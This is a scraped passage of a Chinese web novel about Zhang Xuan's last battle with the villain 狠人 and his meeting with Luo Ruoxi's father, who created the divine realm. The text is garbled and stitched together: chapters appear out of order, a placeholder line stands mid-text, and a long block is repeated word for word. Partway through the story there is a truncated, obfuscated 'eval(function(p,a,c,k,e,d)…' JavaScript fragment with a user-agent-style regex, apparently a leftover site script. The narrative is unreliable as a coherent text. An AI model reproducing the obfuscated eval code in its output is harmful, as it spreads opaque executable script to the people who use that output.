见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零六章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 